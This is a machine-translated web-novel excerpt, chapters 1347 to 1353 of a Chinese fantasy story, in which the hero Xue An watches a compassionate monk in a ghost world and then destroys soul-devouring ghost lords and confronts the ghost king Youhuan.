    What''s more, here is the ghost world with the heaviest atmosphere.


    But there is no ghost on this battlefield.


    The only thing there is that soaring resentment.


    Xue An was thoughtful. At this moment, he suddenly discovered that a figure was standing on the edge of the battlefield.


    people?


    Xue An''s eyes moved slightly.


    Because such a strong resentment filled the world, Xue An''s spiritual thoughts were also greatly affected, so he just didn''t notice the existence of people here.


    But what is he doing?


    Xue An didn''t make a difference, his figure flickered, disappeared, and walked a distance.


    When he could see this person''s appearance clearly, Xue An couldn''t help but startled slightly.


    Because this man is wearing a gray cloth monk''s clothes, his head can be seen, he is a monk!


    At this moment, the monk is holding a rosary, standing on the edge of the battlefield, bowing his head chanting something.


    Following his chanting, but seeing a little faint golden light drifting away, the grievances disappeared wherever he passed, and even the hideous and terrifying expressions of these corpses eased down, as if they were relieved.


    Upon seeing this, Xue An''s eyes flickered.


    Next to a battlefield in the ghost world, a monk is chanting scriptures to save the dead. How do you look at this scene is a bit inconsistent.


    However, Xue An did not show up, but still watched quietly in the void.


    After about half an hour, the monk''s body began to tremble slightly, and his face gradually became pale.


    Finally, the monk slowly stopped chanting, raised his head and looked at the vast battlefield, with a touch of compassion on his face, then folded his palms and bowed deeply before turning away.


    Xue An looked at his distant back and fell into deep thought.


    Among the heavens, Taoism is respected, but Buddhist practitioners are also a huge force that cannot be ignored.


    Xue An had met many Buddha-cultivation powers when he was a goddess, and even witnessed the relics left by the power of the Buddha-cultivation line, and he was very impressed.


    But although Buddhism is widely distributed among the heavens, it can only exist as a pure belief in many places because of the particularity of its practice, without much strength.


    But Xue An never expected that in this ghost world belonging to the dark line, there should be Buddha cultivation.


    You must know that Xue An had never encountered these Buddhas when he was in the ghost world before.


    Moreover, Xue An discovered that this monk, who looks mediocre and has mediocre aptitude, has a breath that is completely different from other Buddhist cultivation.


    Although it is the same as Zhongzheng and peace, but there is an atmosphere of compassion and compassion.


    Xue An moved slightly in his heart, and then quietly followed.


    He wanted to see what changes had taken place in the ghost world today.


    Even the Buddha cultivation who was incompatible with the ghost world appeared.


    With Xue An''s strength, the monk naturally felt ignorant.


    Soon, he walked down the slope, came to an official road, and then strode forward.


    The official road is very wide, as can be seen from the rut footprints on the ground, there should be people walking around here often.


    What is strange is that the official roads are quiet on both sides, and even villages appear occasionally and there are no people inside.


    Upon seeing this, the monk sighed slightly, and could only move on to finally.


    After walking for more than half a day, a small town shop appeared beside the official road in front.


    Said to be a town shop, in fact, it is not much bigger than a village.


    But at least there are traces of life here.


    Upon seeing this, the monk headed towards the town shop.


    It was already dusk now, and the bleak light had drawn shadows that were too thick to dissolve for the town shop beside this ancient road.


    It''s time to palm the lamp.


    But when the monk walked to the shop in this town, he saw that the windows of every house were dark, and even the few open doors were closed after seeing his arrival.


    The monk walked slowly across the street without moving his eyes. When he arrived in the middle of the shop, he saw the deathly silence of the whole town.


    Darkness is eroding the earth a little bit,

 Chapter 1348： Buddha

    In this weird situation, the monk didn''t feel any panic. Instead, he took out a rice bowl and a wooden fish from the backpack behind him, then stood in the middle of the town shop and knocked the wooden fish lightly.


    The monotonous sound of wooden fish spread far away in this quiet evening.


    People behind windows in the town began to shake.


    The monk didn''t realize it, and continued to knock on the wooden fish.


    at last.


    The door of a room in the small town was gently pushed open, and then an old man with a bitter face walked out from it, holding a coarse porcelain rice bowl in his hand.


    I saw him wave his hand at the monk, "Don''t knock!"


    The sound of wooden fish stopped abruptly.


    The monk raised his head and looked at the old man quietly.


    The old man stepped forward and put the rice in his hand in the monk''s rice bowl, and then smiled bitterly: "Little Master, there is nothing to eat in our town, that''s it! You can leave immediately after eating! "


    "Thank you for the benefactor!" The monk folded gently, and then stood on the street with a rice bowl, eating bite by bite.


    The rice bowl is very big and there is very little rice.


    After just a few mouthfuls, the monk ate all the food.


    The old man watched quietly, and after he finished eating, he gently waved his hand, "Let''s go! The faster you go, the better, this is not where you should be!"


    The monk was silent, then smiled at the old man.


    "Please come back, the donor, I can go by myself!"


    The old man nodded, then turned back to the house.


    The sound of the door closing shook Long Street, and there should be a lot of people watching all this behind the windows.


    The monk turned around and left silently.


    Seeing his figure disappear into the darkness, the town resumed its deathly silence.


    The gaze behind the window also disappeared.


    But they didn''t see that when the monk walked to the end of the town, he stood under a big tree, holding a rosary, waiting for something quietly.


    One hour, one and a half hours.......


    at last!


    When a round of demon moon walked through the dark clouds and shed a crimson light, a cloudy wind emerged from a distance, and then roared and rushed to the sky over this small town. After a few circling, it fell on Above the street.


    When the yin wind dissipated, there were a few ghosts with **** lips.


    As soon as these ghosts appeared, they let out an arrogant laugh.


    "The ghost master had a great meal today, and it''s finally our turn!" A fat-eared ligui grinned.


    "Tsk tusk, who said no! The ghost master eats it and wipes it out, and does not leave us at all, then we can only come out to fight the autumn wind!" Another slender ghost also laughed.


    There was a ghost with blue fangs beside him who didn''t say a word. He just sniffed his nose, and his eyes suddenly lit up. When he stretched out his hand, his arm stretched instantly, and then he went into a house beside the road.


    A woman''s exclamation screamed from the room, and then his arm retracted, and in the palm of his hand, there was a girl who was only fifteen or six years old.


    The girl is thin and frightened, but she can still see the delicate features of her facial features.


    Upon seeing this scene, these ghosts all showed their salivation.


    "Tsk tusk, I didn''t expect such a good thing to be hidden here. Now, our brothers will be blessed tonight!" The fat big-eared Li ghost stuck out his scarlet tongue and said greedily.


    "That''s right! I like this year''s best. After playing, I can just smoke the soul, and the taste is amazing!" The slender ghost grinned.


    Only this ghost who shot and grabbed people didn''t say a word, but the saliva from the corner of his mouth had dripped down, corroding the ground into a hole.


    The girl was so frightened that she was about to faint, and finally cried out.


    The whole town was also agitated by this cry.


    But I saw people shaking behind the windows, and I could even hear the angry breathing that many people suppressed.


    These ghosts didn''t care about it, and instead laughed strangely.


    "Scream! The louder the call, the happier we will be!"


    "Tsk tusk, did you hear that? The people in this small town are still angry! Why? Don''t you guys want to live anymore?" The fat-eared ghost grinned.


    With this sharp roar of his, the restless voice gradually disappeared.


    The girl trembled with fright, and despair appeared in her eyes.


    But at this moment, a door of a room was suddenly pushed open, and then the old man walked out from it, and despite the fear in his eyes, he still smiled.


    "The small town...lizheng, I have seen all the immortals... immortal long!"


    "Lizheng? Haha, what do you want to do?" Fattou Li Guihan said.


    This Li was frightened and fought with his clothes, but he showed a flattering smile, "Xian...Long, this little girl is a fool, and there is no father or mother! You...you just raise your hands and let go Pass her!"


    "Leave her alone? Why? Do you still have women for us to enjoy?" The Slender Ghost sneered.


    "No...but we also saved some money and food, which can be given to a few great immortals..." the old man said with a full smile.


    But before the words finished, the Li ghost who had caught the little girl suddenly shouted angrily, "Get out!"


    With that, he took it out with one palm.


    The fishy wind is overwhelming, if this palm is shot, the old man will have to become fleshy on the spot.


    There was a commotion in the town.


    The old man was also frightened.


    But at this moment, a grey-clothed monk suddenly appeared in front of him. He raised his palm and banged against the green-faced ghost.


    boom!


    After a loud noise, the ghost was shaken back.


    The monk took three steps back.


    "Buddha?" The fat-eared Li ghost roared.


    The old man also looked stunned.


    At this moment, the monk turned his head and smiled at him slightly.


    "The donor is a grain of rice, as big as Mount Xumi! I will resolve this tribulation for you!"


    "Resolve? It''s up to you?" At this time, the three ghosts had already seen the details of the monk.


    Seeing that he was just an ordinary young monk with little strength, he couldn''t help but heaved a sigh of relief, and then rushed up with a grin.


    For a time, but seeing the wind gusts, ghosts were heavy.


    Faced with such a predicament, the monk still did not have the slightest fear, but slowly closed his eyes and chanted the scriptures softly.


    "Om, Bo Lamo Lin Tuoning, Suo Po He."


    A curse was completed, the golden light flickered, and the three ghosts confronted each other.


    boom!


    Two of the ghosts were shocked Only this green-faced ghost smashed the golden light, and sneered: "If you want to save me, you should first be yourself!"


    Speaking, raise your palm and shoot.


    With a look of compassion on his face, the monk folded his hands together and said softly: "I wish to destroy my body and protect you and wait for peace!"


    After all, he greeted this palm without backing off.


    "Little Master!" The old man exclaimed.


    The green-faced ghost laughed strangely, "What a bunch of stupid bald heads! Sacrifice yourself to protect others? What is the picture?"


    But at this moment, only heard a light sigh, and then these three ghosts suddenly felt an impenetrable momentum coming straight.


    Before the three ghosts could react, they were imprisoned by this momentum.


    Then the three of them slowly melted into nothingness in the panic on their faces.

 Chapter 1349： Jin Jue

    The audience was silent.


    The girl who had just been restrained in the air by the blue-faced ghost fell straight down, but she didn''t notice it, but stared blankly at the other side of the street.


    The monk and the town couldn''t help turning their heads and looking around.


    But seeing a young man in white slowly walked out of the mottled darkness.


    There was a faint smile on the boy''s face, and his eyes became brighter.


    The appearance of this young man made many people in the town feel a little bit silent, because it was not clear whether he was a man or a ghost, an enemy or a friend.


    Only the monk was slightly startled, and then took a deep look at the young man.


    Naturally, Xue An appeared here.


    He followed the monk all the way, and the more he looked at it, the more surprised he became.


    Because he always felt that this monk was revealing a little weirdness, but he couldn''t say where the weirdness came from.


    Therefore, Xue An did not show up and kept watching quietly.


    It was not until these few ghosts appeared that Xue An saw the monk rushing up without hesitation, and even prepared to die for the Dharma, so he came forward to help him.


    But when Xue An had just walked halfway through the street, the darkness suddenly surged wildly, and then a black light appeared silently on Xue An''s side and stabbed straight down.


    All this happened so quickly that everyone didn''t even react.


    But before this black light touched Xue An''s body, an invisible pressure suddenly came out, directly shaking the black light into pieces.


    There was a miserable howl in the darkness, and then a black light ran straight into the distance.


    But before his figure flew far, Xue An raised his hand.


    Bang!


    This black light burst silently, and scattered into the darkness.


    With the disappearance of this black light, the whole town seemed to have broken through a layer of mist. Everyone felt that their chests became loose, and even their breathing became much smoother.


    After doing all this, Xue An walked forward and smiled at the monk.


    "I didn''t expect to see Buddha Xiu here!"


    The monk also smiled, then folded his hands together, "Thank you for the donor!"


    The food on the table is not so exquisite, it can even be called crude, the pot of wine should be self-brewed muddy wine.


    But this is already the best thing that the residents of the town can get.


    At this moment, Xue An was sitting in the middle, accompanied by the monk opposite.


    The town��s Lizheng and many residents stood in the distance, looking at them with curious eyes.


    Among them, Xue An has received the most attention.


    After all, the strength he showed just now was too amazing. Although the strength of the few Li ghosts was not too strong, they were also soldiers of the ghost master here, but in front of this young man, they were eliminated without the power to fight back.


    Such strength, coupled with his age, naturally made many people curious and amazed.


    Xue An ignored these gazes. He gently turned the wine cup in his hand and looked at the monk who was eating slowly and drinking dirty wine on the opposite side, and suddenly smiled.


    "Aren''t monks not allowed to drink alcohol?"


    The monk did not pause, "Since the donor is making offerings, then I will plant a blessed field for them!"


    "What if the offering is poison?" Xue An said lightly.


    The monk raised his head and looked at Xue An, with a smile, "That''s the same!"


    Xue An took a deep look at the monk and said, "As far as I know, this world is incompatible with Buddhism and fire and water. There has never been a Buddhism before, and what do you plan to do?"


    The monk put down his chopsticks, his expression remained unchanged, but he lowered his eyebrows and said, "The donor is wrong. Buddha cultivation is not incompatible with any world. The incompatibility is always in the human heart!"


    Xue An smiled noncommitantly, "Do you think I will believe these clich��s?"


    The monk also laughed, "The benefactor is a person with great wisdom and great connections. You shouldn''t understand these principles!"


    Xue An gradually raised his eyebrows and stared at the monk coldly.


    The monk laughed harmlessly.


    After a while, Xue An narrowed his gaze, "But I don''t know your law name!"


    The monk was silent for a long time, and then slowly said two words, "Jin Jue!"


    "Jin Jue..." Xue An muttered softly several times, then said with a smile but a smile: "Looking at the words and deeds of the little master just now, it seems that I want to save these ghosts?"


    "Why not?" Jin Jue raised his eyes and asked.


    Xue An looked at the monk who looked plain, but had very clear eyes, and sighed lightly: "I know that your buddhas have always been compassionate, but you must also be aware that the other party is a ghost clan known for being greedy!"


    Jin Jue smiled, "In my eyes, there is no difference between ghost and human race!"


    Xue An became angry for a while, but quickly leaned back on the chair and said lightly: "You think there is no difference, then what do you think of the previous eating place?"


    When Xue An wiped out these Li ghosts, he also absorbed their memories.


    Therefore, Xue An knew that the battlefield that he saw just now was not a battlefield, but a food court for ghost masters here.


    As for what is a food court...


    As the name suggests, this is where the ghost master eats.


    This ghost master was transformed by cohesive spirits. He usually likes to **** the souls most, especially the grievances of those who died in battle, so that battlefield became his fixed place to eat.


    Because of this, there are so many bones buried below.


    Hearing Xue An��s question, Jin Jue was silent for a moment, and then folded his palms together: ��It��s not easy to save, but it doesn��t mean there is no hope!��


    "It''s not easy to save? Haha, have you ever thought about it? This ghost master has been saved, so what about the resentful souls who died in battle? Put down the butcher knife and become a Buddha, can the previous account be written off?" Xue An Leng Of course.


    Jin Jue shook his head, "What the donor said is wrong. The so-called putting down the butcher knife and becoming a Buddha is just a verse. Buddha cultivation does not have that great power to eliminate your cause and effect, just like what you just said. Yes, even if I save this ghost master, he will have to pay the price for what he did before!"


    Xue An did not speak, but leaned on a chair, half of his face hidden in the darkness, quietly watching Jin Jue.


    Jin Jue sat there calmly until after a while, Xue An just laughed, "Interesting, this is your way?"


    Jin Jue nodded, "Yes!"


    "It''s hard!"


    "But someone has to do it, right?"


    Jin Jue is gone!


    When he left, he still carried his small bag, which contained a rice bowl and wooden fish. There is nothing else.


    The town was sighing, "What a wonderful little master!"


    Xue An retracted his gaze and said softly: "Good idea, but unfortunately I didn''t find the right way!"


    Speaking of this, Xue An showed a meaningful smile, "But I think I will see you again soon!"

 Chapter 1350： Mandate of Heaven

    "Little sir, you also want to go?" The face of the town and all the residents were a little pale.


    Xue An nodded.


    "But if it''s those..." The words directly behind the town did not go on.


    Because he knew very well that this young man in white was no ordinary person, and it was a fluke that his small town was saved by him.


    If there were other extravagant hopes, it would be unrealistic.


    He has always seen these very clearly.


    Xue An smiled and suddenly said, "Don''t worry! They won''t come!"


    Ok?


    Many people raised their heads full of doubts, not understanding what Xue An said.


    But after another look, he found that Xue An, who was still standing there, had disappeared.


    Everyone''s eyes widened and looked at each other.


    "Could it be... met a god?" Someone sighed softly.


    Just as everyone in the small town was wondering about it.


    Xue An''s figure has appeared out of a valley a thousand miles away.


    The terrain here is dangerous, and it is still a gathering place.


    As a result, it has become a paradise for the life of ghosts, and it is also a place where the ghost masters who control this territory live.


    Xue An looked at the thick black mist under his feet, his body gradually disappeared, and finally disappeared.


    at the same time.


    In a hall in this valley.


    This ghost master is celebrating with his men.


    Amidst the wind and wind, this evil ghost was full of spring breeze, with a ghost girl in his arms, enjoying the compliments from the people under him.


    "Jiejie, Master Ghost Lord is now more and more vigorous, thinking that it won''t be long before he can break through the realm and become a ghost king!" A Li ghost nodded and bowed.


    Although he knew it was flattering, the ghost master was still full of joy.


    After all, in this ghost world, strength is the hardest truth.


    Now he is only the lowest level of the ghost master. If he can go one step further and become the ghost king, not only will the territory he control will be greatly improved, but he can also be exposed to higher-level existence.


    You should know that in this ghost world, although the division of strength is different from outside, it is basically the same.


    The ghost master is equivalent to the half-step Daluo outside, the ghost king further up is the powerhouse of Daluo level, the ghost king is the powerhouse of Daluo''s peak, and the ghost emperor is the half-step fairy king.


    On the top is the hall master level, and even...the Mingjun level!


    "Haha, it''s easy to say, when my strength improves, your benefits will naturally be indispensable!" The ghost master said with a smile.


    Then he paused and sighed: "In fact, if it weren''t for Youhuan''s repeated requests for benefits, I would already be a ghost king!"


    Hearing him say this, there was a clamor in the hall, and his gang was filled with indignation, and all began to curse the ghost king.


    Until someone curiously asked: "My lord, this Youhuan has blackmailed the soul recently, what is he going to do?"


    The ghost master snorted coldly, "What else can you do? The Destiny Ghost Lord��s birthday is just around the corner. He is searching for gifts, so naturally he wants to congratulate Lord Ghost!"


    Hearing this, there was another uproar in the hall.


    Many ghost tribes shouted again.


    The ghost master waved his hand, motioned everyone to silence, and then sneered: "This Youhuan thinks that he is a good calculation, but I don''t know that I am not a vegetarian. I have accumulated a lot of souls during this time and I am preparing to make a move. When I am promoted to the King of Ghosts, I will be on an equal footing with him, and I will naturally be qualified to wish Lord Destiny a birthday!"


    The many ghosts in the hall were flattering.


    But at this moment, only a chuckle came from outside the hall.


    "It''s a good idea, but unfortunately no chance!"


    "Who?" The ghost master trembled and exclaimed.


    Xue An walked out of the void slowly, appeared in front of many ghosts, and said lightly: "That piece of eating place is yours?"


    In the main hall, there was a stunned first, and then the numerous ghost races shouted.


    "Where did the kid come from, so arrogant!"


    "Yes, so arrogant, kill him!"


    For a time, the ghostly spirit was full of spirits, and there were layers of murderous intentions.


    I don''t know how many ghosts attacked Xue An.


    But Xue An didn''t even move, just snorted coldly.


    Click!


    The black shadows that rushed in the front condensed instantly, and this power seemed to be contagious, freezing all the black tides behind, and then hearing a bang, these black shadows all collapsed and turned into nothing. .


    With a cold snort, most of the ghosts in the hall were wiped out, and only a part of them were able to escape with a quick chance.


    For these ghosts without the slightest sense of shame, the first reaction is naturally to escape.


    But at this time they discovered that the entire hall had been sealed off and they could not get out at all.


    This also included this ghost master, who saw his face shaking with black energy, and suddenly screamed.


    The cry spread out in the form of divine consciousness shock waves.


    But unexpectedly, there was no response outside.


    Xue An said lightly: "Don''t bother, I have killed all the ghosts outside!"


    The ghost master shook his anger and was obviously terrified.


    "You...who are you? What do you want to do?"


    Xue An smiled faintly, "It doesn''t matter who I am, the point is that the eating place is yours?"


    "Yes...Is it anything?" The ghost master moved in his heart and quickly added: "Moreover, I am not enjoying this eating place alone, and nine out of ten of the souls I get will be handed over to the Ghost King!"


    Xue An didn''t pay any attention to this at all, just nodded, "It''s just fine!"


    After all, he slowly raised his palm that looked like a sapphire sculpted jade, and an invisible pressure instantly came to the audience.


    Under this powerful aura, the few ghosts that had just been spared had no time to make their screams, and they vanished in an instant.


    Only this ghost master barely resisted this pressure, but it was also the dark shadow shaking, shouting in horror.


    "My lord, please listen to me, all this is the phantom instructing me! You..."


    Xue An didn''t pay attention to these howls at all, and just said indifferently: "You want to destroy these ghosts once, but I think it''s better to kill them faster!"


    This sentence has no beginning or end, making this ghost master look dumbfounded.


    But before he could ask what was going on, Xue An''s palm was already pressed down Bang!


    Together with this hall, this ghost lord collapsed to nothing.


    Xue An stood in the middle of the air, looked at the hall and ghost town that had been razed to the ground, shook his head, seemingly dissatisfied, and stepped on it in one step.


    boom!


    After a loud noise, the canyon shook violently, and then slowly collapsed.


    Seeing this scene, Xue An nodded in satisfaction, then turned around and disappeared into the darkness.


    at the same time.


    Walking on the official road, Jin Jue who was coming here suddenly stopped, and then raised his head to look towards the sky, where a black smoke was rising into the sky, covering the stars and moon.


    Jin Jue''s expression changed slightly, and finally he folded his palms together, gave a deep bow, and turned away.

 Chapter 1351： Black pool

    Just a thousand miles away from this gorge, stands a city.


    This city was built on the bank of a black pool, filled with sullen air all year round, and it is a rare blessed land in the eyes of the ghosts.


    This is the place where the ghost king who controls hundreds of thousands of miles in a radius and has a dozen ghost masters lives.


    now.


    This phantom city is extremely lively, and dozens of caravans led by ghost horses and yin cows come in mighty, bringing all kinds of rare treasures.


    These caravans are without exception, they all come from these dozen ghost masters, and they are called tribute.


    But only these ghost masters understand in their hearts what the so-called "tribute" is all about.


    However, among the rare and exotic treasures brought, the largest number is the various souls.


    In this ghost world, the living soul has become a kind of hard currency similar to currency.


    If you don''t know what to give, then the soul is definitely right.


    Regarding this, the ghost king naturally saw it, but he didn''t feel much joy in his heart.


    Because he couldn''t get any of the good things he sent, and he had to send them again if they changed hands.


    For the greedy person, this is naturally unacceptable.


    Therefore, his face has always been very ugly.


    As a result, the atmosphere in this chamber has become serious.


    Many subordinates are very aware of their master''s temper, so the atmosphere does not dare to take a breath, of course, if they can.


    "Where is there no tribute now?" You Huangui Wang asked in a deep voice.


    One person in the queue walked out, "Back to my king, now only the poisonous ghost master has not sent the due tribute!"


    "Humph! Poisonous!" After hearing the name, You Huan stopped getting angry and slammed the table.


    "This guy relies on his strength and has the qualifications to be promoted to the ghost king! He is increasingly disrespectful to me, now it seems that he must be punished!"


    At the end, a greedy and vicious color flashed in You Huan''s eyes.


    The audience was silent for a while.


    None of the many ghosts said anything.


    Because for them, this kind of thing is simply too common.


    The ghost race was originally a race that took the law of survival of the weak and the fittest to the extreme.


    As long as the poisonous apprentice hadn''t been promoted to the ghost king, then Youhuan would take him for granted.


    However, some ghosts couldn''t help but curiosity in their hearts, and asked: "My king, the destiny ghosts usually hold big birthday celebrations every year. Why is this time so grand?"


    "Yes! I heard that all the ghost kings are going to come together!" There was a commotion in the chamber.


    You Huan sneered after hearing this, "Big birthday celebration? Haha, what a joke! This is just to lie to you idiots who have never seen the world! This destiny is just a guise for the big birthday celebration to let us many ghost kings Just discuss one thing!"


    The phantom words were full of strong dissatisfaction with his immediate boss.


    In fact, it is impossible for him to be satisfied with his superiors.


    Because he is greedy and cruel, but Mandate is more greedy and cruel than him!


    Under this kind of oppression, You Huan always didn''t want to kill her immediate boss.


    It''s just because of the huge disparity in strength that has not succeeded.


    The ghosts in the chamber all subconsciously ignored the dissatisfaction in his words, but asked curiously.


    "My king, what can be so important that the destiny ghost will not hesitate to borrow the guise of the birthday celebration to summon all the ghost kings?"


    "Haha! What''s the matter!" A touch of greed and resentment appeared on You Huan''s cheeks that had gradually materialized.


    "As you know, the ghost of Cang Ming, which borders our destiny plane, suddenly died. Now that plane has become a land of no owner. I don''t know how many ghosts are watching him. The distance is naturally our destiny. The plane is closest to it, this destiny ghost naturally doesn''t want to let go of this piece of fat!"


    Hearing his explanation, there was an uproar in the chamber.


    "So that''s it! But that Cang Ming ghost is a veteran ghost who has experienced thousands of years. In terms of strength, he is much stronger than our destiny ghost. How could he suddenly die?" There is a ghost counselor Bai Si Unexplainable.


    You Huan snorted coldly, "It''s more than a Cang Ming. I heard news that the depths of the ghost world are also very uneasy nowadays. It seems that a very noble man has also died!"


    In the depths of the ghost world, big people...


    The combination of these two words made the whole audience horrified.


    Because there is no one they can afford.


    We must know the vastness of the ghost world, even among the heavens, it can be ranked in the top three, and there are so many planes among them that it is innumerable.


    This destiny plane is just a small, inconspicuous world close to the edge.


    The real powerhouses in the ghost world are all in the deepest part of that plane.


    There is the strongest place in the whole ghost world.


    It is said that there, even an ordinary ghost king, is much stronger than the outside, and can even kill ghost-level existences in seconds.


    But this is far from being called a big man, if you want to be honored as an adult in the depths of the ghost world, you must at least be a ghost.


    Even...the existence of the ghost emperor level!


    Thinking of this, the black energy around the many ghosts was shaking, obviously frightened.


    After the ghost king said this, he regretted it a little. Although the chamber was covered by his secret method, he should not leak any news.


    But who knows the mysterious and unpredictable abilities of the big men in the depths of the ghost world?


    One carelessness, this one''s own sentence may bring disaster to death.


    Therefore he hurriedly changed the subject and said coldly: "Wait another night, if the poisonous gangster does not come tomorrow, then I will personally go and fight!"


    "Yes!" Many ghosts in the chamber responded in unison, their voices full of excitement.


    Because they all know If Youhuan goes to crusade in person, then this poisonous monster will undoubtedly die.


    At that time, people like myself will be able to take advantage of this opportunity again.


    But just when these ghosts have their own thoughts, all of them are doing their own wishful thinking.


    Outside the chamber, many ghost masters who came to worship were also full of complaints.


    "Damn! Let us pay so many souls, does this phantom want to kill us?" said a ghost master who was covered in sores.


    "Hush! Be quiet, you are in Youhuan City now, if you are heard by Master Youhuan, there will be good fruit for you!" a ghost master on the side persuaded.


    "Huh! He is now busy discussing with the people in the Chamber of Destiny how to prepare birthday gifts for Lord Destiny, how can he hear us? And even if he hears it, what can he do, can''t you let me complain? "This ghost master obviously has a deep resentment.


    "Hey, did you find it? The poisonous kid hasn''t come yet!" A ghost master said a little gloating after scanning a circle of many ghost masters with sad faces.

 Chapter 1352： Long time no see, ghost king

    "Poison hasn''t come yet? This kid is desperate! Although his strength is good, he is still some distance away from being promoted to the ghost king! And Master Youhuan has already seen him uncomfortable, this is not obvious Do you give You Huan a handle?" The ghost master said.


    "He shouldn''t be that stupid, hasn''t he enough of the souls he needs?" asked the ghost master.


    The ghost master heard this silently.


    "Perhaps this is the case, you know, in order to make up the number, I slaughtered the two human cities under the control!" At this point, the ghost master looked distressed.


    But obviously this distress is not the experience of distressing the human race, but the feeling that his property has suffered loss.


    That''s right!


    For these ghost races, the human race that can provide high-quality souls is their precious property.


    Even in some cases, they will consciously nurture the human race under the rule, so that they can recuperate as soon as possible.


    Because in their eyes, these human races are just like the animals they raise.


    So what they hope more is to harvest it a little bit so that it can flow in a long way.


    But the slaughter of several human cities at once naturally made this ghost master feel painful.


    At this moment, only a sneer came from the darkness.


    "Excuse me, the poisonous gangster you mentioned may not come!"


    "Who?" The many ghost masters gathering outside were all startled when they heard this.


    Because in their perception, the surrounding darkness is obviously empty, nothing exists.


    Therefore, this sudden sound naturally scared the ghosts.


    In particular, the ghost master who had just spoken out loud was trembling with fright.


    Although he didn''t care on the surface, he was actually most afraid of the words that had just spread.


    But at this moment, a young man in white slowly walked out of the darkness.


    As soon as he saw the boy''s voice and shadow, all the ghosts present were taken aback.


    "Human race?" a ghost master yelled in disbelief.


    Xue An turned his head and glanced at him, then smiled slightly, "Yes! Is there any problem?"


    Although I don''t understand how a human race can appear here, the hearts of these ghosts are all let go.


    After all, for them, the human race is nothing more than a container to provide living souls.


    The ghost master who just screamed gave a weird smile, "There is no problem, I''m just curious about which of the tendons that poisonous kid made the wrong thing, and actually sent a human race?"


    The voice just fell.


    Just listening to Peng''s muffled noise, the head of the ghost owner exploded directly into a group of gorgeous black fireworks.


    Then the headless ghost body slowly fell to the ground.


    By the time he died, the ghost master didn''t understand what was going on, and he fell into the eternal darkness in a daze.


    And this blow.


    It was like a rock shattering the sky, shaking all the ghost races present.


    "Who are you?" The ghost master closest to Xue An was furious, roaring, but retreating far away.


    For them, all dangers are naturally avoided.


    Especially the fact that the ghost lord died just now was too weird, so that even these bloodthirsty ghosts could not see through, so naturally they had to stay away.


    unfortunately.


    This ghost master thought very well, but just after retreating, the whole body burst apart, and then the black air filled, and the dead could no longer die.


    At this moment, all the ghost masters who witnessed this scene instantly understood, and then fled away without hesitation.


    But Xue An obviously didn''t intend to let them go, only a cold smile appeared on the corner of his mouth, and he spoke slowly.


    "Don''t you want to know my name? I will tell you now, the one who killed you, Xue An!"


    Following the exit of the last word, the figures of these ghost masters who were running away stopped for an instant, and then they shattered silently and returned to nothingness.


    In this scene, the ghost guards of Youhuan City who rushed to see the strange aura.


    These ghost guards who had come so aggressively didn''t even hesitate and shouted.


    "withdraw!"


    Then he turned and fled.


    Nonsense, do you still have to go up and die if you don''t withdraw at this time?


    You know, those who just died are all ghost masters!


    These ghost guards who were fleeing frantically didn''t have the slightest guilt in their hearts, and even thought of them all.


    Xue An didn''t go after him either, but coldly looked at the black light rushing in the sky, killing intent boiling in his heart.


    What he saw and heard along the way had already made Xue An angry.


    All over the world, no matter what the world is considered to be the dominant human race, but in this little ghost realm, it is reduced to food, and even raised by these guys like domestic animals.


    How can this not make Xue An angry.


    You must know that when Xue An first crossed the ghost world, although the ghost clan at the time was arrogant, they had never done such a low-handed and savage thing.


    So Xue An has only one word in his heart at the moment, that is to kill!


    boom!


    The first to be shattered was the few ghost guards that ran in front. Then, death fell directly on the head of every ghost guard, like eternal darkness.


    The sound of explosion was accompanied by screams, forming a movement of killing.


    At this moment, only a roar came.


    "Who? Who dares to kill my man?"


    Immediately afterwards, a huge ghost king virtual image appeared above the chamber.


    It is Yuhuan.


    His face was full of anger at the moment.


    Originally, he was discussing this matter with many of his subordinates in the chamber, and suddenly he felt that the atmosphere outside was strange, but after a closer look, he found out.


    Someone is slaughtering his men.


    This naturally caused You Huan to become angry, and immediately showed its body, wanting to teach this guy who didn''t know where it came from.


    Unfortunately, he came a step late.


    The ghost guards had all been shattered, and there was a low sound of footsteps in the black fog that exploded.


    Youhuan sneered, "Making mystery!"


    For him, no matter who the other party is, since he dares to challenge his authority in the fantasy city, he will definitely die.


    Especially Youhuan feels that her cultivation has recently improved ~ www.novelhall.com~ Even the illusion that she turned out seemed to be a little stronger, and she couldn''t help feeling even more proud.


    At the same time, Xue An''s figure slowly emerged in the black mist.


    When I saw Xue An, Youhuan''s face suddenly appeared in horror.


    Because he suddenly discovered that this breath seemed very familiar.


    Then Xue An raised his head and stared at his virtual image, revealing a cold smile.


    "long time no see!"


    The shadows around You Huan''s body shook, and almost broke apart. As for the face, it was full of horror.


    Xue An said leisurely: "Did you descend on the Qingmang Mountain above the earth last time?"


    That''s right!


    This phantom was the ghost general who was summoned by the Young Master of the Ten Thousand Ghosts Sect on Qingmang Mountain when Xue An was just reborn and returned.

 Chapter 1353： One kills one, two kills one...

    At that time, the ghostly fantasy was enshrined by the generations of the Ten Thousand Ghosts, and a weak connection was established between them, so when they were inspired, a very subtle spirit came to the past.


    Such things are commonplace in the ghost world, not just the ghost king!


    Ghost monarchs, even ghost emperors and other powerhouses will establish contact with those sects in the heavens that worship ghost tribes.


    Usually these sects sacrifice delicious souls to these big ghosts, and when needed, these big ghosts will send clones to come.


    In this way, both parties can be mutually beneficial.


    Because of this, he just met Xue An, who had just been reborn and returned.


    At that time Xue An did not kill him, but let him go.


    After this ray of spiritual thought returned, Youhuan felt deeply grateful at that time.


    After all, although he was just an ordinary ghost king living in the outermost layer of the ghost world, he also knew the name of the gods and ghosts.


    But he never expected that he would meet this adult here again today.


    And it seemed that he was coming for himself.


    These thoughts flashed through Yuhuan''s heart, and then he leaned down respectfully.


    "Humble, I''ve seen Master Guizun!"


    Xue An didn''t say a word, just watched quietly.


    As time passed, the atmosphere gradually became serious.


    Dark energy floated around Yuhuan''s body, and the ghost fire eyes hidden in the black mist also showed a look of fear.


    at last.


    Xue An said indifferently: "Did you ask for these souls?"


    As he said, Xue An opened his hands, and in the palm of his hand was a ball of light that surpassed the sky.


    It was the souls that these ghost masters paid tribute to, but they were picked up by the security department of Xue and held in the palm of his hand.


    As soon as I saw these souls, and then thought of Xue An��s current identity, You Huan understood everything in an instant. She couldn''t help shuddering, and shouted hurriedly: "My lord, these souls are not what I want to ask for, they are. Because I also have difficulties!"


    "Oh? Distressed?" Xue An laughed, "Let''s talk about it!"


    You Huanqiang suppressed the fear in his heart, and tremblingly told the destiny ghost king''s birthday soon, and told the story of calling many ghost kings to go.


    Although Xue An had known this for a long time, he couldn''t help his eyes flickering after listening to You Huan''s words.


